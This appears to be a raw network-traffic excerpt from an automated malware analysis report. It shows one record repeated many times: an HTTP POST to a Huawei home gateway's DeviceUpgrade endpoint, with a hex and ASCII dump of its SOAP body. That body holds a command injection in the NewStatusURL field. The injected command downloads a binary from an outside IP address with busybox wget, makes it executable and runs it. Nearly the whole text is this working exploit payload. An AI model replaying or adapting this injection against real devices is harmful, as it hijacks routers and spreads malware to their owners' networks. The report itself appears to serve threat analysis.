65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 